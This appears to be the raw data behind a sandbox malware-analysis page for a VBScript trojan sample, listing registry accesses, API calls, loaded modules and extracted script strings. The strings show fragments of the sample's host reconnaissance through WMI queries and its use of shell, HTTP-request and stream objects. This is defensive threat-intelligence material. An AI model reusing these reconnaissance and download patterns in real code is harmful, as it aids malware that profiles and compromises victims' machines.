24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 36:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4e2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan_Script_Wacatac_C_ml Sample 8976e76450bf… — Score 76/100 — Hybrid Analysis","description":"Malicious verdict for sample 8976e76450bf…. Malware family: Trojan_Script_Wacatac_C_ml. Threat score 76/100. 2/26 AV engines flagged this file. 3 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19","keywords":["Malicious","Trojan_Script_Wacatac_C_ml","malware analysis","sandbox report","threat intelligence","8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19"],"about":{"@type":"SoftwareApplication","name":"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin","applicationCategory":["script","vbs"],"identifier":"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19","additionalType":"Malicious sample"},"threatScore":76,"malwareFamily":"Trojan_Script_Wacatac_C_ml","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":3,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T8f4,"WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\INTERNATIONAL\CALENDARS\TWODIGITYEARMAX") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WINMGMTS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WINMGMTS\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS\CLSID") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS\CLSID") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SCRIPTING.FILESYSTEMOBJECT") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SCRIPTING.FILESYSTEMOBJECT") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\SCRIPTING.FILESYSTEMOBJECT") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SCRIPTING.FILESYSTEMOBJECT\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SCRIPTING.FILESYSTEMOBJECT\CLSID")26:Tc51,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001316) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac5816b8010000000000000000000051ed6b96f87f000000000000b8010000000000000000000054f3eecf8e3f00002a0000000000000060c29c13b80100008fec6b96f87f0000e0ac5816b8010000e0ac5816b8010000000000000000000000000000f87f0000ffffff7f6543000000000000000000000000000000000000d8ce4c16b80100002a0000000000000069c30516b80100003100000000000000dc02000000000000e002000000000000110001100000000030d0ef825f00000003a3fa95f87f000030d0ef825f00000000000000000000002b00000000000000000000000000000020b00b16b8010000b43f0a16b8010000e0ce4c16 (UID: 00000000-00001316) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000dcc0ef825f000000100000000000040008b2b5865dbb0000503ae795f87f0000000000000000000098edeb95f87f0000b0d0ef825f00000020e5f295f87f00000000000000000000f8ceef825f0000000000000000000000000000000000000020ceef825f00000080d0ca95f87f0000c00000000000004660e19e13b80131003200300037003300360031003000300098edeb95f87f000060cdef825f00000064f1eecf8e3f000000000000000000000000000000000000c0c8ef825f000000020000000000000017d66796f87f00004db7aaa38567000080ceef825f00000094f7eecf8e3f00005bcaa493f87f000040d4ef82 (UID: 00000000-00001316) "WScript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001316)27:T8c8,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000bc6a954e3cda000044c6eecf8e3f000006000000000000000000f723f67f0000a402ae6ff87f000006000000b8010000d8f1bc95f87f000060fcef825f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f723 (UID: 00000000-00001316) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000005cf5ef825f000000000000000000000010f9ef825f000000a8069d13b801000070efef825f00000000000000000000004ef75b93f87f00005cf5ef825f0000000000000000000000000000000000000099ddbc95f87f0000000000000000000000efef825f00000010efef825f000000010000005f00000000000000 (UID: 00000000-00001316) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b5c93f87f000000002e6ff87f00000000000000000000000000000000000008062f6ff87f00000001000000000000f098f995f87f000000010000000000000001000000000000000000000000000000062f6ff87f000001000000000000000f182e6ff87f0000000000000000000000062f6ff87f000000000000 (UID: 00000000-00001316) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c310765f87f0000708b0965f87f00000200000000000000708b0965f87f000000000000000000000300000000000000b1310765f87f0000a8150a65f87f000020403e17b801000030403e17b8010000888b0965f87f00000100000000000000239ffb95f87f00000000000000000000888b0965f87f000006000000 (UID: 00000000-00001316) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303dfe64f87f0000c0feff64f87f00000400000000000000c0feff64f87f000000000000000000000500000000000000453dfe64f87f0000286a0065f87f0000be5a5d93f87f0000f83a3e17b80100001c31954e3cda0000b08e5d93f87f0000239ffb95f87f00000100000000000000d132fe64f87f000000005693 (UID: 00000000-00001316) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000030000000000000000000d66ef87f000000000000000000000000000000000000883fd76ef87f00000001000000000000f098f995f87f0000000100000000000000010000000000000000000000000000803fd76ef87f00000100000000000000bf10d66ef87f00000000000000000000803fd76ef87f000001000000 (UID: 00000000-00001316)28:T5ea,file/memory contains long string with (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: "select * from "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")29:Tcc2,file/memory contains long string with (Indicator: ""set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set wdate = CreateObject("WbemScripting.SWbemDateTime")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set fso = CreateObject("Scripting.FileSystemObject")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set shell = CreateObject("WScript.Shell")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set dict = CreateObject("Scripting.Dictionary")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set hReq = CreateObject("WinHttp.WinHttpRequest.5.1")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set re = CreateObject("VBScript.RegExp")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set m = re.Execute(jsonStr)" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set hGet = CreateObject("WinHttp.WinHttpRequest.5.1")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set ado = CreateObject("ADODB.Stream")" (Indicator: "set "; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")2a:T1889,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00001316) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001316)2b:Tcc1,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff893560000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff893560000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff893560000 "WScript.exe" loaded module "KERNEL32" at base 7ff895bc0000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8651a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff891000000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff896340000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff895bc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff865100000 "WScript.exe" loaded module "AMSI.DLL" at base 7ff8741e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff88ac10000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff86fbe0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UD1LK5FQ.DLL" at base 7ff8650b0000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff891a20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff896530000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff893500000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff891e60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff872190000 "WScript.exe" loaded module "OLE32.DLL" at base 7ff894400000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff893330000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff86f2e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff865070000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff893560000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ff865020000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff887680000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff887020000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff887940000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff893560000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff893560000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff887760000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ff864fe0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff86ed60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 7ff86d400000 "WScript.exe" loaded module "WINHTTP.DLL" at base 7ff88f220000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff874790000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff892250000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ff8928c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff88be40000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff88c260000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff891da00002c:T77b,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WScript.exe" touched "WBEM Scripting DateTime" (Path: "HKCU\CLSID\{47DFBE54-CF76-11D3-B38F-00105A1F473A}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Scripting.Dictionary" (Path: "HKCU\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\TREATAS") "WScript.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS")2d:Tb45,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: "SQMSERVICELIST"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2026"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: 